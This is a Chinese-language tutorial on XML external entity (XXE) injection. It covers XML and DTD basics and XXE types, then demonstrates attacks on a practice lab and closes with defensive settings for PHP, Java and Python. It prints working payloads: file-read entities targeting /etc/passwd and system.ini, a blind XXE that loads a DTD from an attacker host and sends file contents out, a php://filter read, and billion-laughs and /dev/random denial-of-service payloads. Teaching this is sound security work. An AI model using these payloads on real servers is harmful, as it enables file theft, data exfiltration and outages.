一、XXE简介
XXE (XML External Entity injection):XML外部实体注入漏洞。XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。
1、外部实体指攻击者通过利用外部实体声明部分来对XML数据进行修改、插入恶意代码。
2、XXE就是指XML数据在传输过程中利用外部实体声明部分的“SYSTEM”关键词导致XML解析器可以从本地文件或者远程URI中读取受保护的数据。
二、XML简介
XML是可扩展的标记语言(eXtensible Markup Language),设计用来进行数据的传输和存储,设计宗旨是传输数据,而不是显示数据。
1、文档结构
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
<!--XML声明-->
<?xml version="1.0" encoding="UTF-8"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
2、DTD
文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用(独立的DTD文件)。
1)内部的 DOCTYPE 声明
<!DOCTYPE 根元素 [元素声明]>
2)外部文档声明
<!DOCTYPE 根元素 SYSTEM ”文件名”>
3、DTD实体
1)内部实体声明
<!ENTITY 实体名称 ”实体的值”>
2)外部实体声明
<!ENTITY 实体名称 SYSTEM ”URI”>
3)参数实体声明
<!ENTITY %实体名称 ”实体的值”>或者<!ENTITY %实体名称 SYSTEM ”URI”>
三种实体声明方式使用区别:
参数实体用 % 实体名称申明,引用时也用 % 实体名称;
其余实体直接用实体名称申明,引用时用 & 实体名称。
参数实体只能在DTD中申明,DTD中引用;
其余实体只能在DTD中申明,可在xml文档中引用。
三、XXE分类
按照构造外部实体声明的方法不同可分为直接通过DTD外部实体声明、通过DTD文档引入外部DTD文档中的外部实体声明和通过DTD外部实体声明引入外部DTD文档中的外部实体声明。
按照XXE回显信息不同可分为正常回显XXE、报错XXE和Blind XXE。
1、按构造外部实体声明
1)直接通过DTD外部实体声明
<?xml version="1.0"?>
<!DOCTYPE K[
<!ENTITY y SYSTEM "file:///etc/passwd">
]>
<aaa>&y;</aaa>
2)通过DTD文档引入外部DTD文档中的外部实体声明
XML文件内容:
<?xml version="1.0"?>
<!DOCTYPE K SYSTEM "https://blog.csdn.net/syy0201/Quan.dtd">
<aaa>&y;</aaa>
DTD文件内容:
<!ENTITY y SYSTEM "file:///etc/passwd">
3)通过DTD外部实体声明引入外部DTD文档中的外部实体声明
XML文件内容:
<?xml version="1.0"?>
<!DOCTYPE K[
<!ENTITY y SYSTEM "https://blog.csdn.net/syy0201/Quan.dtd">
]>
<aaa>&y;</aaa>
K.dtd的外部实体声明内容:
<!ENTITY y SYSTEM "file:///etc/passwd">
2、按输出信息
1)正常回显XXE
服务器直接回显信息,直接完成XXE攻击。
2)报错XXE
回显XXE的一种特例,根据服务器回显的错误信息判断是否注入成功。
3)Blind XXE
服务器无回显,可组合利用file协议来读取文件或http协议和ftp协议来查看日志。
文件读取方法:
file:///C:/Windows/system.ini #file协议读取文件
http://url/file.txt #http协议读取站点下的文件
PHP://filter/ #文件流形式读取php文件
Blind XXE主要使用了DTD约束中的参数实体和内部实体。参数实体是一种只能在DTD中定义和使用的实体,一般引用时使用 % 作为前缀。而内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。
<?xml version="1.0"?>
<!DOCTYPE Note[
<!ENTITY % file SYSTEM "file:///C:/1.txt">
<!ENTITY % remote SYSTEM "http://攻击者主机IP/2.xml">
%remote;
%all;
]>
<root>&send;</root>
2.xml内容:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1/3.php?file=%file;'>">
%remote 引入外部XML文件到这个 XML 中, %all 检测到 send 实体,在 root 节点中引入 send 实体,便可实现数据转发。
利用过程:存在漏洞的服务器会读出file的内容(c:/1.txt),通过2.xml带外通道发送给攻击者服务器上的3.php,3.php做的事情就是把读取的数据保存到本地的1.txt中,完成Blind XXE攻击。
四、危害
通过XXE-lab靶场,举例XXE漏洞可能造成的危害。
1、任意文件读取
1)随便输入一个账号密码,登录时使用burpsuite抓包,并丢到repeater,抓包内容如下:
可以看到页面接收的xml文件以POST方式传递给doLogin.php进行解析。
构造如下payload,读取任意文件。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note[
<!ENTITY kin SYSTEM "file:///C:/windows/system.ini">
]>
<user><username>&kin;</username><password>123</password></user>
结果如下,可以成功读取出system.ini文件中的内容。
2)当读取的文件中有一些特殊符号如“ < ”,“ > ”,“ & ”,“ ' ”,“ " ”等时,xml解析时会当成xml语法进行解析,所以会出现报错而读取失败。如下图:
举个例子,若是要读取php文件,可以对内容进行base64编码。代码如下:
PHP://filter/read=convert.base64-encode/resource=D:/phpStudy/WWW/php_xxe/11.php
得到的结果如下:
对读取的内容进行base64解码,可以得到正确的结果。如下图所示:
3)还有一种方法可以解决被读取文件中的特殊符号问题:CDATA
① PCDATA(Parsed Character Data):被解析的字符数据
XML 解析器通常会解析 XML 文档中所有的文本。
当某个 XML 元素被解析时,其标签之间的文本也会被解析:
<message>此文本也会被解析</message>
解析器之所以这么做是因为 XML 元素可包含其他元素,就像这个例子中,其中的 <name> 元素包含着另外的两个元素(first 和 last):
<name><first>Bill</first><last>Gates</last></name>
而解析器会把它分解为像这样的子元素:
<name>
<first>Bill</first>
<last>Gates</last>
</name>
② CDATA(Unparsed Character Data):不应由 XML 解析器进行解析的文本数据
CDATA 部分中的所有内容都会被解析器忽略。
CDATA 部分由 "<![CDATA[" 开始,由 "]]>" 结束:
<script>
<![CDATA[
function matchwo(a,b)
{
if (a < b && a < 0) then
{
return 1;
}
else
{
return 0;
}
}
]]>
</script>
注: CDATA 部分不能包含字符串 "]]>"。也不允许嵌套的 CDATA 部分。
标记 CDATA 部分结尾的 "]]>" 不能包含空格或折行。
2、内网探测
XXE可以访问外部的url,具有和ssrf类似的效果,可以利用xxe进行内网探测。根据返回信息内容判断该端口是否打开。若测试端口返回“Connection refused”则可以知道该端口是closed的,否则为open。
netstat -nao 查看本机端口,选择902端口
可以检测到902的VMware服务,但XXE的内网探测不像SSRF的内网探测那样强大。
还可以利用vps和python脚本实现,待补充。
3、DDOS攻击
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
此payload测试可以在内存中将小型 XML 文档扩展到超过 3GB 而使服务器崩溃。
如果目标是UNIX系统:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///dev/random" >]>
<foo>&xxe;</foo>
这段payload会让xml解析器尝试使用/dev/random文件中的内容来替代实体,所以这个示例会直接使UNIX系统服务器崩溃。
4、钓鱼
待了解...
5、RCE
待补充...
五、防御方法
1、使用语言中推荐的禁用外部实体的方法
PHP
libxml_disable_entity_loader(true);
JAVA
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
.setFeature("http://xml.org/sax/features/external-general-entities",false)
.setFeature("http://xml.org/sax/features/external-parameter-entities",false);
Python
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
2、黑名单过滤关键字
例如:SYSTEM、PUNLIC